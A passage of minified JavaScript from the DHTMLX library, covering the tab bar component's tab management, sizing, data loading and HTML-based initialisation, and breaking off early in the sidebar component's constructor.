a=(n.target||n.srcElement);while(a!=null){if(typeof(a._tabCloseId)!=\"undefined\"){if(h._onTabsAreaClick(a._tabCloseId)!==true){return}h.t[a._tabCloseId].conf.remove=true;h._hideTab(a._tabCloseId);a=null}else{if(typeof(a._tabId)!=\"undefined\"){h._doOnClick(a._tabId);a=null}}if(a!=null){a=a.parentNode;if(a==this){a=null}}}};this.tabsArea.onselectstart=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}};this._doOnClick=function(a){this.callEvent(\"onTabClick\",[a,this.conf.lastActive]);if(this.t[a].conf.enabled){this._setTabActive(a)}};this.t={};this.addTab=function(a,v,o,s,r,w){if(typeof(w)!=\"boolean\"){w=(this.conf.closeButton==true)}r=window.dhx4.s2b(r);var q=document.createElement(\"DIV\");q.className=\"dhxtabbar_tab\";q.innerHTML=\"<div class='dhxtabbar_tab_text\"+(w?\" dhxtabbar_tab_text_close\":\"\")+\"'>\"+v+\"</div>\"+(w?\"<div class='dhxtabbar_tab_close'></div>\":\"\");q._tabId=a;if(w){q.childNodes[1]._tabCloseId=a}var n=this.tabsArea.childNodes[1].firstChild;if(s!=null&&s+1>0&&s+1<n.childNodes.length){n.insertBefore(q,n.childNodes[s+1])}else{n.appendChild(q)}var x=false;if(typeof(o)==\"undefined\"||o==null||o==\"*\"){o=this._getLabelWidth(v,w);x=true}else{o=parseInt(o)}q.style.width=o+\"px\";var u=new dhtmlXTabBarCell(a,this);this.tabsMode.appendChild(u.cell);this.t[a]={tab:q,cell:u,conf:{text:v,visible:true,active:false,enabled:true,close:w,width:o,autowidth:x}};n=u=null;if(r){this._setTabActive(a)}else{this._adjustCell(a)}if(this.conf.initSeq!=true&&this.conf.arwMode==\"auto\"){this.setSizes()}};this.setSizes=function(){this._adjustCont();if(this.conf.tabsAreaOfs==null){this.tabsArea.style.width=this.cont.offsetWidth+\"px\";this.conf.tabsAreaOfs=parseInt(this.tabsArea.style.width)-this.tabsArea.offsetWidth}this.tabsArea.style.width=this.cont.offsetWidth+this.conf.tabsAreaOfs+\"px\";this._adjustCell(this.conf.lastActive);this._adjustTabs(true);this.callEvent(\"_onSetSizes\",[])};this._adjustCell=function(q){if(!this.conf.contZone||q==null){return}var o=(this.conf.tabsMode==\"top\"?this.tabsArea.offsetHeight:0)+this.conf.tabsTop;var n=this.cont.offsetHeight-this.tabsArea.offsetHeight-this.conf.tabsTop;var a=this.t[q].cell.dataType;if(this.conf.skin==\"dhx_skyblue\"&&(a==\"layout\"||a==\"tabbar\"||a==\"acc\")){if(this.conf.tabsMode==\"top\"){o=o-1}n=n+1}if(q!=this.conf.lastActive){o=-5000;this.t[q].cell.cell.style.visibility=\"hidden\";this.t[q].cell.cell.style.zIndex=0}this.t[q].cell._setSize(0,o,this.cont.offsetWidth,n)};this.setTabsMode=function(a){this.conf.tabsMode=(a==\"bottom\"?\"bottom\":\"top\");this.tabsMode.className=\"dhxtabbar_tabs_\"+this.conf.tabsMode;this.tabsArea.className=\"dhxtabbar_tabs dhxtabbar_tabs_\"+this.conf.tabsMode;this.tabsArea.style.top=(this.conf.tabsMode==\"top\"?this.conf.tabsTop+\"px\":\"auto\");this.setSizes()};this._tabCss=function(s,q){var n=this.t[s].conf.active;var r=!this.t[s].conf.enabled;var o=!this.t[s].conf.visible;return\"dhxtabbar_tab\"+(o?\" dhxtabbar_tab_hidden\":(n||r?\" dhxtabbar_tab\"+(n?\"_actv\":\"\")+(r?\"_dis\":\"\"):\"\"))};this._getLabelWidth=function(o,n){if(this.tabsTextTest==null){this.tabsTextTest=document.createElement(\"SPAN\");this.tabsTextTest.className=\"dhxtabbar_tabs_text_test_\"+this.conf.skin}document.body.appendChild(this.tabsTextTest);this.tabsTextTest.innerHTML=o;var a=this.tabsTextTest.offsetWidth;if(window.dhx4.isIE&&a==0){a=this.tabsTextTest.offsetWidth}a+=this.conf.tabsWidth[this.conf.skin][0];if(n==true){a+=this.conf.tabsWidth[this.conf.skin][1]}document.body.removeChild(this.tabsTextTest);return a};this._adjustTabs=function(r){if(this._checkArrows()==true||r==true){this.tabsArea.childNodes[1].style.left=this.tabsArea.childNodes[0].offsetWidth-1+\"px\";this.tabsArea.childNodes[1].style.width=Math.max(0,this.tabsArea.offsetWidth-this.tabsArea.childNodes[0].offsetWidth-this.tabsArea.childNodes[2].offsetWidth)+1+\"px\"}var u=this.tabsArea.childNodes[1];if(u.offsetWidth<5){u=null;return}var a=parseInt(u.childNodes[0].style[this.conf.align]);var o=null;for(var s=0;s<u.childNodes[0].childNodes.length;s++){var v=u.childNodes[0].childNodes[s]._tabId;if(v!=null&&this.t[v].conf.visible){var n=this.t[v].tab.offsetWidth-this.conf.tabsOfs;if(this.t[v].conf.active){if(a<0||u.offsetWidth<n){o={d:1,id:v}}else{if(a+n>u.offsetWidth){o={d:-1,id:v}}}}a+=n}}if(o!=null){this._moveTabs(o.d,o.id)}else{if(u.offsetWidth>a+1){u.childNodes[0].style[this.conf.align]=Math.min(0,parseInt(u.childNodes[0].style[this.conf.align])+(u.offsetWidth-a))+\"px\"}}u=o=null};this._moveTabs=function(y,r){var o=this.tabsArea.childNodes[1].childNodes[0];var v=0;var A=[];var D=null;for(var a=0;a<o.childNodes.length;a++){var n=o.childNodes[a]._tabId;if(n!=null&&this.t[n].conf.visible){A.push({id:n,w:this.t[n].tab.offsetWidth-this.conf.tabsOfs,ind:v});if(n==r){D=v}v++}}var C=parseInt(this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]);var u=this.tabsArea.offsetWidth-this.tabsArea.childNodes[0].offsetWidth-this.tabsArea.childNodes[2].offsetWidth;var w=null;var s=null;for(var a=0;a<A.length;a++){A[a].x=C;if(w==null&&C>=0&&C+A[a].w>0){w=A[a]}if(C<u&&C+A[a].w<=u){s=A[a]}C+=A[a].w}if(D!=null){var E=A[D]}else{var E=null;if(y>0){if(w==null){if(A.length>0){E=A[A.length-1]}}else{if(w.ind>0&&A.length>=w.ind){E=A[w.ind-1]}}}else{if(s==null){if(A.length>0){E=A[0]}}else{if(A.length>s.ind){E=A[s.ind+1]}}}}if(E!=null){if(y>0){if(C<u){o.style[this.conf.align]=Math.min(0,parseInt(o.style[this.conf.align])+(u-C))+\"px\"}else{o.style[this.conf.align]=parseInt(o.style[this.conf.align])-E.x+\"px\"}}else{o.style[this.conf.align]=parseInt(o.style[this.conf.align])-E.x+u-E.w+\"px\"}}o=E=A=null};this._getNextVisible=function(n,a){return this._getNearVisible(n,a,\"next\")};this._getPrevVisible=function(n,a){return this._getNearVisible(n,a,\"previous\")};this._getFirstVisible=function(){return this._getNearVisible(null,false,\"first\")};this._getNearVisible=function(s,o,r){if(r==\"first\"){var q=this.tabsArea.childNodes[1].childNodes[0].childNodes[1];r=\"next\"}else{if(s==null||this.t[s]==null){return(o?this._getFirstVisible():null)}var q=this.t[s].tab[r+\"Sibling\"]}var n=null;while(q!=null&&n==null){var a=q._tabId;if(a!=null&&n==null&&this.t[a].conf.visible){n=a}else{q=q[r+\"Sibling\"]}}q=null;return n};this._showTab=function(n,a){if(this.t[n]==null){return}if(this.t[n].conf.transActv==true){if(this.t[n].conf.transMode==\"show\"){return}}else{if(this.t[n].conf.visible==true){return}}if(this.conf.transProp!==false){this.t[n].conf.transActv=true;this.t[n].conf.transMode=\"show\";this.t[n].conf.transProp=this.conf.transProp;this.t[n].conf.transActvId=(a?n:null);if(!this.t[n].conf.transEv){this.t[n].tab.addEventListener(this.conf.transEv,this._doOnTrEnd,false);this.t[n].conf.transEv=true}this.t[n].conf.visible=true;this.t[n].tab.className=this._tabCss(n);this.t[n].tab.style[this.conf.transProp]=this.conf.transValueWidth;this.t[n].tab.style.width=this.t[n].conf.width+\"px\";if(this.t[n].tab.clientWidth>=this.t[n].conf.width){this.t[n].tab.style.visibility=\"visible\"}}else{this.t[n].conf.visible=true;this.t[n].tab.style.display=\"\";if(a||this.t[n].conf.active){this.t[n].conf.active=false;this._setTabActive(n)}else{this._adjustTabs()}}};this._hideTab=function(s,a){if(this.t[s]==null){return}if(this.t[s].conf.transActv==true){if(this.t[s].conf.transMode==\"hide\"){return}}else{if(this.t[s].conf.visible!=true){return}}var n=false;if(this.conf.lastActive==s){this.conf.lastActive=null;this.t[s].conf.active=false;this.t[s].tab.className=this._tabCss(s);n=true}var q=this._getPrevVisible(s);var o=this._getNextVisible(s);var r=(n&&a!==false?(a==true?null:a)||o||q:null);if(this.conf.transProp!==false){this.t[s].conf.transActv=true;this.t[s].conf.transMode=\"hide\";this.t[s].conf.transProp=this.conf.transProp;this.t[s].conf.transActvId=r;this.t[s].conf.visible=false;if(!this.t[s].conf.transEv){this.t[s].tab.addEventListener(this.conf.transEv,this._doOnTrEnd,false);this.t[s].conf.transEv=true}this.t[s].tab.style.visibility=\"hidden\";this.t[s].tab.className=h._tabCss(s);this.t[s].tab.style[this.conf.transProp]=this.conf.transValueWidth;this.t[s].tab.style.width=\"0px\"}else{this.t[s].tab.style.display=\"none\";this.t[s].conf.visible=false;if(this.conf.contZone){this.t[s].cell.cell.style.visibility=\"hidden\";this.t[s].cell.cell.style.top=\"-5000px\"}if(r!=null){this._setTabActive(r)}this._adjustTabs();if(this.t[s].conf.remove){this._removeTab(s)}}};this._isTabVisible=function(a){return(this.t[a].conf.visible==true)};this._doOnTrEnd=function(){var o=this._tabId;if(h.t[o]==null){return}var a=h.t[o];var n=a.conf.transActvId;if(a.conf.transMode==\"hide\"){if(a.conf.remove){h._removeTab(o)}else{a.tab.style[a.conf.transProp]=\"\";if(h.conf.contZone){a.cell.cell.style.visibility=\"hidden\";a.cell.cell.style.top=\"-5000px\"}a.conf.transActv=false}}else{if(a.conf.transMode==\"show\"){a.tab.style[a.conf.transProp]=\"\";a.tab.style.visibility=\"visible\";a.conf.transMode=null;a.conf.transActv=false}}if(n!=null){h._setTabActive(n)}else{h._adjustTabs()}a=null};this.enableTabCloseButton=function(a){this.conf.closeButton=window.dhx4.s2b(a)};this.unload=function(){this.conf.unloading=true;this.clearAll();this.t=null;if(this.tabsTextTest!=null){if(this.tabsTextTest.parentNode){this.tabsTextTest.parentNode.removeChild(this.tabsTextTest)}this.tabsTextTest=null}window.dhx4._enableDataLoading(this,null,null,null,\"clear\");this.tabsArea.childNodes[0].onclick=null;this.tabsArea.childNodes[2].onclick=null;this.tabsArea.onclick=null;this.tabsArea.onselectstart=null;this.tabsArea.parentNode.removeChild(this.tabsArea);this.tabsArea=null;this.tabsMode.parentNode.removeChild(this.tabsMode);this.tabsMode=null;this._unloadTop();window.dhx4._eventable(this,\"clear\");for(var n in this){this[n]=null}h=null};this.enableContentZone=function(a){this.conf.contZone=(a==true)};this.setSkin=function(o){this._setBaseSkin(o);this.conf.skin=o;if(this.tabsTextTest!=null){this.tabsTextTest.className=\"dhxtabbar_tabs_text_test_\"+this.conf.skin}for(var n in this.t){this.t[n].cell._resetSizeState();if(this.t[n].conf.autowidth==true){this.t[n].conf.width=this._getLabelWidth(this.t[n].conf.text,this.t[n].conf.close);if(this.t[n].conf.visible){this.t[n].tab.style.width=this.t[n].conf.width+\"px\"}}}this.conf.tabsAreaOfs=null;this._fixTabsOfs();this.setSizes()};this.setAlign=function(a){a=(a==\"left\"?\"left\":\"right\");if(a==this.conf.align){this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"0px\";return}if(this.conf.transProp!==false){this.tabsArea.childNodes[1].childNodes[0].style[this.conf.transProp]=\"\"}this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"\";this.conf.align=a;this.tabsArea.childNodes[1].childNodes[0].className=\"dhxtabbar_tabs_cont_\"+this.conf.align+this.conf.tabsContCss;this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"0px\";if(this.conf.transProp!==false){this.conf.transValuePos=this.conf.align+\" \"+this.conf.transSpeed;this.tabsArea.childNodes[1].childNodes[0].style[this.conf.transProp]=this.conf.transValuePos}};this._initObj=function(r){this.conf.initSeq=true;this.clearAll();var a=false;if(r.settings!=null){if(r.settings.skin!=null){this.setSkin(r.settings.skin)}if(r.settings.closeButton!=null){this.enableTabCloseButton(window.dhx4.s2b(r.settings.closeButton))}if(r.settings.align!=null){this.setAlign(r.settings.align)}if(r.settings.hrefmode==\"ajax\"){a=true}if(r.settings.hrefmode==\"ajax-html\"){a=true;this.conf.url_demand=true}}if(r.tabs!=null){for(var o=0;o<r.tabs.length;o++){var n=r.tabs[o];if(typeof(n.id)==\"undefined\"){n.id=window.dhx4.newId()}if(!isNaN(parseInt(n.width))){n.width=parseInt(n.width)}else{n.width=null}this.addTab(n.id,n.text||n.label||\"\",n.width,n.index,window.dhx4.s2b(n.selected)||window.dhx4.s2b(n.active),n.close);if(n.content!=null){this.cells(n.id).attachHTMLString(n.content)}else{if(n.href!=null){if(this.conf.url_demand==true){this.conf.urls[n.id]={href:n.href,ajax:a}}else{this.cells(n.id).attachURL(n.href,a)}}}if(typeof(n.enabled)!=\"undefined\"&&window.dhx4.s2b(n.enabled)==false){this.tabs(n.id).disable()}else{if(typeof(n.disabled)!=\"undefined\"&&window.dhx4.s2b(n.disabled)==true){this.tabs(n.id).disable()}}}}this.conf.initSeq=false;if(this.conf.arwMode==\"auto\"){this.setSizes()}if(this.conf.url_demand==true){this._loadURLOnDemand(this.conf.lastActive)}};this._xmlToObj=function(v){var u={settings:{},tabs:[]};var n=v.getElementsByTagName(\"tabbar\")[0];if(n!=null){for(var x in {skin:1,align:1,closeButton:1,hrefmode:1}){if(n.getAttribute(x)!=null){u.settings[x]=n.getAttribute(x)}}var A=n.getElementsByTagName(\"tab\");for(var o=0;o<A.length;o++){var s={text:(A[o].firstChild.nodeValue||\"\")};for(var x in {id:1,width:1,close:1,selected:1,active:1,enabled:1,disabled:1,href:1}){if(A[o].getAttribute(x)!=null){s[x]=A[o].getAttribute(x)}}var C=A[o].getElementsByTagName(\"content\")[0];if(C!=null){s.content=\"\";for(var y=0;y<C.childNodes.length;y++){s.content+=(C.childNodes[y].nodeValue||\"\")}}u.tabs.push(s)}}return u};dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObj\",\"tabbar\",{struct:true});var e=window.dhx4.transDetect();this.conf.transProp=e.transProp;this.conf.transEv=e.transEv;this.conf.transValueWidth=\"width \"+this.conf.transSpeed;e=null;if(this.conf.transProp!==false){this.conf.transValuePos=this.conf.align+\" \"+this.conf.transSpeed;this.tabsArea.childNodes[1].childNodes[0].style[this.conf.transProp]=this.conf.transValuePos}this._callMainEvent=function(n,a){return this.callEvent(n,a)};window.dhx4._eventable(this);if(this.conf.autoload.json!=null){this.loadStruct(this.conf.autoload.json,this.conf.autoload.onload)}else{if(this.conf.autoload.xml!=null){this.loadStruct(this.conf.autoload.xml,this.conf.autoload.onload)}else{if(this.conf.autoload.tabs!=null){this.loadStruct({tabs:this.conf.autoload.tabs})}}}if(this.conf.autoload.arrows_mode!=null){this.setArrowsMode(this.conf.autoload.arrows_mode)}this._fixTabsOfs();this.setSizes();return this}dhtmlXTabBar.prototype=new dhtmlXCellTop();dhtmlXTabBar.prototype._fixTabsOfs=function(){this.conf.tabsOfs=(this.conf.skin==\"dhx_web\"?0:1)};dhtmlXTabBar.prototype.cells=dhtmlXTabBar.prototype.tabs=function(a){if(this.t[a]){return this.t[a].cell}return null};dhtmlXTabBar.prototype.getAllTabs=function(){var e=[];for(var c in this.t){e.push(c)}return e};dhtmlXTabBar.prototype._setTabActive=function(c,a){if(!this.t[c]||this.t[c].conf.active){return}if(typeof(a)==\"undefined\"){a=true}if(a==true&&this.callEvent(\"onSelect\",[c,this.conf.lastActive])!==true){return}this.setTabInActive();this.t[c].conf.active=true;if(this.conf.contZone){this.t[c].cell.cell.style.visibility=\"visible\";this.t[c].cell.cell.style.top=\"0px\";this.t[c].cell.cell.style.zIndex=1}this.t[c].tab.className=this._tabCss(c);this.conf.lastActive=c;this.setSizes();if(this.conf.url_demand==true){this._loadURLOnDemand(c)}};dhtmlXTabBar.prototype.setTabInActive=function(){if(this.conf.lastActive&&this.t[this.conf.lastActive]){this.t[this.conf.lastActive].conf.active=false;if(this.conf.contZone){this.t[this.conf.lastActive].cell.cell.style.visibility=\"hidden\";this.t[this.conf.lastActive].cell.cell.style.top=\"-5000px\";this.t[this.conf.lastActive].cell.cell.style.zIndex=0}this.t[this.conf.lastActive].tab.className=this._tabCss(this.conf.lastActive);this.conf.lastActive=null}};dhtmlXTabBar.prototype._isTabActive=function(a){return(a==this.conf.lastActive&&this.conf.lastActive!=null)};dhtmlXTabBar.prototype.getActiveTab=function(){return this.conf.lastActive};dhtmlXTabBar.prototype.goToNextTab=function(){var a=this._getNextVisible(this.conf.lastActive,true);if(a!=null){this._setTabActive(a)}};dhtmlXTabBar.prototype.goToPrevTab=function(){var a=this._getPrevVisible(this.conf.lastActive,true);if(a!=null){this._setTabActive(a)}};dhtmlXTabBar.prototype._enableTab=function(c,a){if(!this.t[c]||this.t[c].conf.enabled){return}this.t[c].conf.enabled=true;this.t[c].tab.className=this._tabCss(c);if(a==true){this._setTabActive(c)}};dhtmlXTabBar.prototype._disableTab=function(c,a){if(!this.t[c]||!this.t[c].conf.enabled){return}this.t[c].conf.enabled=false;this.t[c].tab.className=this._tabCss(c);if(a!==false&&this.conf.lastActive==c){if(a==true){a=this._getNextVisible(c)||this._getPrevVisible(c)}this._setTabActive(a)}};dhtmlXTabBar.prototype._isTabEnabled=function(a){return(this.t[a]!=null&&this.t[a].conf.enabled==true)};dhtmlXTabBar.prototype._setTabText=function(g,e,c){if(!this.t[g]){return}var a=false;if(typeof(c)==\"undefined\"||c==null){c=this._getLabelWidth(e,this.t[g].conf.close);a=true}this.t[g].tab.style.width=c+\"px\";this.t[g].tab.childNodes[0].innerHTML=e;this.t[g].conf.text=e;this.t[g].conf.width=c;this.t[g].conf.autowidth=a};dhtmlXTabBar.prototype._getTabText=function(a){if(!this.t[a]){return null}return this.t[a].conf.text};dhtmlXTabBar.prototype._removeTab=function(n,e,l){if(!this.t[n]){return}if(l!=true&&this.t[n].conf.remove!=true){this.t[n].conf.remove=true;this._hideTab(n,e);return}if(typeof(e)==\"undefined\"){e=true}var g=this._getNextVisible(n);var h=this._getPrevVisible(n);if(this.t[n].conf.transEv==true){this.t[n].tab.removeEventListener(this.conf.transEv,this._doOnTrEnd,false);this.t[n].conf.transEv=false}for(var c in this.t[n].conf){this.t[n].conf[c]=null}this.t[n].conf=null;delete this.t[n].conf;this.t[n].cell._unload();this.t[n].cell=null;this.t[n].tab.parentNode.removeChild(this.t[n].tab);this.t[n].tab=null;this.t[n]=null;delete this.t[n];if(this.conf.lastActive==n&&e!=false){this.conf.lastActive=null;var m=(e==true?(g||h||this._getFirstVisible()):e);if(m!=null){this._setTabActive(m)}}else{if(l!=true){this._adjustTabs()}}};dhtmlXTabBar.prototype.clearAll=function(){for(var c in this.t){this._removeTab(c,false,true)}this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"0px\"};dhtmlXTabBar.prototype.moveTab=function(e,a){if(!this.t[e]||a<0){return}a+=1;var c=this.tabsArea.childNodes[1].firstChild;if(c.childNodes[a]!=this.t[e].tab){c.removeChild(this.t[e].tab);if(a>=c.childNodes.length){c.appendChild(this.t[e].tab)}else{c.insertBefore(this.t[e].tab,c.childNodes[a])}}c=null};dhtmlXTabBar.prototype._getIndex=function(g){var a=-1;var e=this.tabsArea.childNodes[1].firstChild;for(var c=1;c<e.childNodes.length;c++){if(e.childNodes[c]._tabId==g){a=c-1}}e=null;return a};dhtmlXTabBar.prototype.getNumberOfTabs=function(g){var e=0;for(var c in this.t){e+=(g!=true?1:(this.t[c].conf.visible==true?1:0))}return e};dhtmlXTabBar.prototype.forEachCell=dhtmlXTabBar.prototype.forEachTab=function(e){for(var c in this.t){e.apply(window,[this.t[c].cell])}};dhtmlXTabBar.prototype.enableAutoReSize=function(){this._initFSResize()};dhtmlXTabBar.prototype.setArrowsMode=function(a){a={auto:\"auto\",always:\"always\"}[String(a)];if(a==null||a==this.conf.mode){return}this.conf.arwMode=a;if(a==\"always\"){this.tabsArea.childNodes[0].className=\"dhxtabbar_tabs_ar_left\";this.tabsArea.childNodes[2].className=\"dhxtabbar_tabs_ar_right\"}this.setSizes()};dhtmlXTabBar.prototype._checkArrows=function(){var h=false;if(this.conf.arwMode==\"auto\"){var g=0;for(var e in this.t){g+=this.t[e].tab.offsetWidth}var c=this.tabsArea.childNodes[0];var l=this.tabsArea.childNodes[2];if(g>this.cont.offsetWidth){if(c.className.search(/dhxtabbar_tabs_ar_hidden/)>=0){c.className=c.className.replace(/\\s{0,}dhxtabbar_tabs_ar_hidden/,\"\");l.className=l.className.replace(/\\s{0,}dhxtabbar_tabs_ar_hidden/,\"\");h=true}}else{if(c.className.search(/dhxtabbar_tabs_ar_hidden/)<1){c.className+=\" dhxtabbar_tabs_ar_hidden\";l.className+=\" dhxtabbar_tabs_ar_hidden\";h=true}}c=l=null}return h};dhtmlXTabBar.prototype._loadURLOnDemand=function(a){if(a!=null&&this.conf.urls[a]!=null){this.cells(a).attachURL(this.conf.urls[a].href,this.conf.urls[a].ajax);this.conf.urls[a]=null}};window.dhtmlXTabBarCell=function(g,e){dhtmlXCellObject.apply(this,[g,\"_tabbar\"]);this.tabbar=e;this.conf.skin=this.tabbar.conf.skin;this.conf.tabbar_funcs={show:\"_showTab\",hide:\"_hideTab\",isVisible:\"_isTabVisible\",enable:\"_enableTab\",disable:\"_disableTab\",isEnabled:\"_isTabEnabled\",getIndex:\"_getIndex\",getText:\"_getTabText\",setText:\"_setTabText\",setActive:\"_setTabActive\",isActive:\"_isTabActive\",close:\"_removeTab\"};this._tabbarCall=function(a){return function(){var h=[this._idd];for(var l=0;l<arguments.length;l++){h.push(arguments[l])}return this.tabbar[a].apply(this.tabbar,h)}};for(var c in this.conf.tabbar_funcs){if(typeof(this[c])!=\"function\"){this[c]=this._tabbarCall(this.conf.tabbar_funcs[c])}}this.attachEvent(\"_onCellUnload\",function(){this.tabbar=null;for(var h in this.conf.tabbar_funcs){this[h]=null;this.conf.tabbar_funcs[h]=null}this.conf.tabbar_funcs=null});this.attachEvent(\"_onContentLoaded\",function(){this.tabbar._callMainEvent(\"onContentLoaded\",arguments);this.tabbar._callMainEvent(\"onTabContentLoaded\",arguments)});this.attachEvent(\"_onContentAttach\",function(){this.tabbar._adjustCell(this.tabbar.conf.lastActive)});this.attachEvent(\"_onBeforeContentAttach\",function(a){if(a==\"sidebar\"&&this.conf.skin!=\"dhx_skyblue\"){this._hideBorders()}})};window.dhtmlXTabBarCell.prototype=new dhtmlXCellObject();dhtmlXCellObject.prototype.attachTabbar=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"tabbar\"]);if(typeof(a)==\"string\"){a={mode:a}}else{if(typeof(a)!=\"object\"||a==null){a={}}}var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={t:-1}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){if(this.conf.skin==\"dhx_skyblue\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}}if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){c._ofs={l:-1}}if(typeof(window.dhtmlXCarouselCell)!=\"undefined\"&&(this instanceof window.dhtmlXCarouselCell)){this._hideBorders()}this._attachObject(c);a.skin=this.conf.skin;a.parent=c;this.dataType=\"tabbar\";this.dataObj=new dhtmlXTabBar(a);a.parent=c=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};function dhtmlXTabBarInitFromHTML(){var z=document.getElementsByTagName(\"div\");for(var i=0;i<z.length;i++){if(z[i].className.indexOf(\"dhtmlxTabBar\")!=-1){var conf={settings:{},tabs:[]};var n=z[i];var id=n.id;n.className=\"\";var k=new Array();for(var j=0;j<n.childNodes.length;j++){if(n.childNodes[j].tagName&&n.childNodes[j].tagName!=\"!\"){k[k.length]=n.childNodes[j]}}var skin=n.getAttribute(\"skin\");if(skin!=null){conf.settings.skin=skin}var w=new dhtmlXTabBar({parent:id,mode:n.getAttribute(\"mode\")});window[id]=w;acs=n.getAttribute(\"onbeforeinit\");if(acs){eval(acs)}align=n.getAttribute(\"align\");if(align){conf.settings.align=align}var cont={};for(var j=0;j<k.length;j++){var m=k[j];var tab={id:m.id,text:m.getAttribute(\"name\"),width:m.getAttribute(\"width\"),selected:m.getAttribute(\"selected\"),active:m.getAttribute(\"active\"),close:m.getAttribute(\"close\")};var href=m.getAttribute(\"href\");if(href){cont[m.id]={href:href}}else{cont[m.id]={cont:m}}conf.tabs.push(tab)}w.loadStruct(conf);for(var a in cont){if(cont[a].href){w.cells(a).attachURL(cont[a].href);cont[a].href=null}else{w.cells(a).attachObject(cont[a].cont);if(cont[a].cont.style.display==\"none\"){cont[a].cont.style.display=\"\"}cont[a].cont=null}cont[a]=null}var selId=n.getAttribute(\"select\");if(selId!=null){w.tabs(selId).setActive()}else{if(w.getActiveTab()==null){var v=w._getFirstVisible();if(v!=null){w.cells(v).setActive()}}}acs=n.getAttribute(\"oninit\");if(acs){eval(acs)}}}if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"load\",dhtmlXTabBarInitFromHTML,false)}else{window.detachEvent(\"onload\",dhtmlXTabBarInitFromHTML)}}if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"load\",dhtmlXTabBarInitFromHTML,false)}else{window.attachEvent(\"onload\",dhtmlXTabBarInitFromHTML)}function dhtmlXSideBar(c){var e=this;this.conf={skin:(c.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxsidebar\")||\"dhx_skyblue\"),css:\"dhxsidebar\",width:c.width||200,scroll_size:12,scroll_mult:20,close_button:false,icons_path:c.icons_path||\"\",selected:null,single_cell:(typeof(c.single_cell)==\"undefined\"?false:window.dhx4.s2b(c.single_cell)),cell:null};this.setTemplate(c.template);window.dhtmlXCellTop.apply(this,[c.parent,(c==null?null:c.offsets)]);window.dhx4._eventable(this);if(window.navigator.msPointerEnabled==true){this.conf.touch_ms=true;this.conf.touch_start=\"MSPointerDown\",this.conf.touch_end=\"MSPointerUp\"}else{this.conf.touch_ms=false;this.conf.touch_start=\"touchstart\",this.conf.touch_end=\"touchend\"}this.side=document.createElement(\"DIV\");this.side.className=\"dhxsidebar_side dhxsidebar_tpl_\"+this.conf.tpl_name;this.side.innerHTML=\"<div class='dhxsidebar_side_items'></div>\";this.cont.appendChild(this.side);window.setTimeout(function(){if(e!=null&&e.side!=null){e.side.firstChild.style.top=\"0px\"}},1);this.arw=document.createElement(\"DIV\");this.arw.className=\"dhxsidebar_arrows dhxsidebar_arrows_hidden\";this.arw.innerHTML=\"<div class='dhxsidebar_arrow dhxsidebar_arrow_left'><div class='dhxsidebar_arrow_image'></div></div><div class='dhxsidebar_arrow dhxsidebar_arrow_right'><div class='dhxsidebar_arrow_image'></div></div>\";this.cont.appendChild(this.arw);this._doOnArwClick=function(h){h=h||event;if(h.type!=\"click\"&&h.preventDefault){h.preventDefault()}var g=h.target||h.srcElement;if(g.className.match(/dhxsidebar_arrow_image/)!=null){g=g.parentNode}if(g.className.match(/dhxsidebar_arrow_left/)!=null){e._scrollSide(-e.conf.scroll_size)}else{if(g.className.match(/dhxsidebar_arrow_right/)!=null){e._scrollSide(e.conf.scroll_size)}}g=null};if(typeof(window.addEventListener)==\"function\"){this.arw.addEventListener(this.conf.touch_start,this._doOnArwClick,false);this.arw.addEventListener(\"click\",this._doOnArwClick,false)}else{this.arw.attachEvent(\"onclick\",this._doOnArwClick)}this._doOnSideClick=function(l){l=l||event;var h=l.target||l.srcElement;var m=null;var g=false;if(l.type==\"touchstart\"||l.type==\"pointerdown\"||l.type==\"MSPointerDown\"){if(l.preventDefault){l.preventDefault()}if(this.className.match(/dhxsidebar_touch/gi)==null){if(l.type==\"touchstart\"||(l.type==\"pointerdown\"&&l.pointerType==\"touch\")){this.className+=\" dhxsidebar_touch\"}}}while(h!=null&&m==null&&l.type!=\"pointerdown\"&&l.type!=\"MSPointerDown\"){if(typeof(h.className)!=\"undefined\"){if(h.className.match(/^dhxsidebar_item/)!=null&&typeof(h._idd)!=\"undefined\"){m=h._idd}else{if(h.className.match(/^dhxsidebar_bubble/)!=null){g=true;m=h.parentNode._idd}}}h=h.parentNode}if(m!=null){if(g==false||(g==true&&e.callEvent(\"onBubbleClick\",[m,e.t[m].conf.bubble])==true)){e._setItemActive(m,true)}}h=null};if(typeof(window.addEventListener)==\"function\"){this.side.addEventListener(this.conf.touch_start,this._doOnSideClick,false);this.side.addEventListener(this.conf.touch_end,this._doOnSideClick,false);this.side.addEventListener(\"mouseup\",this._doOnSideClick,false)}else{this.side.attachEvent(\"onclick\",this._doOnSideClick)}this.side.onmouseover=function(){this.className=this.className.replace(/\\s*dhxsidebar_touch/gi,\"\")};this._doOnSideScroll=function(g){g=g||event;var h=(g.type==\"mousewheel\"?-g.wheelDelta:g.deltaY);e._scrollSide(h/Math.abs(h)*3)};this._scrollSide=function(g){var 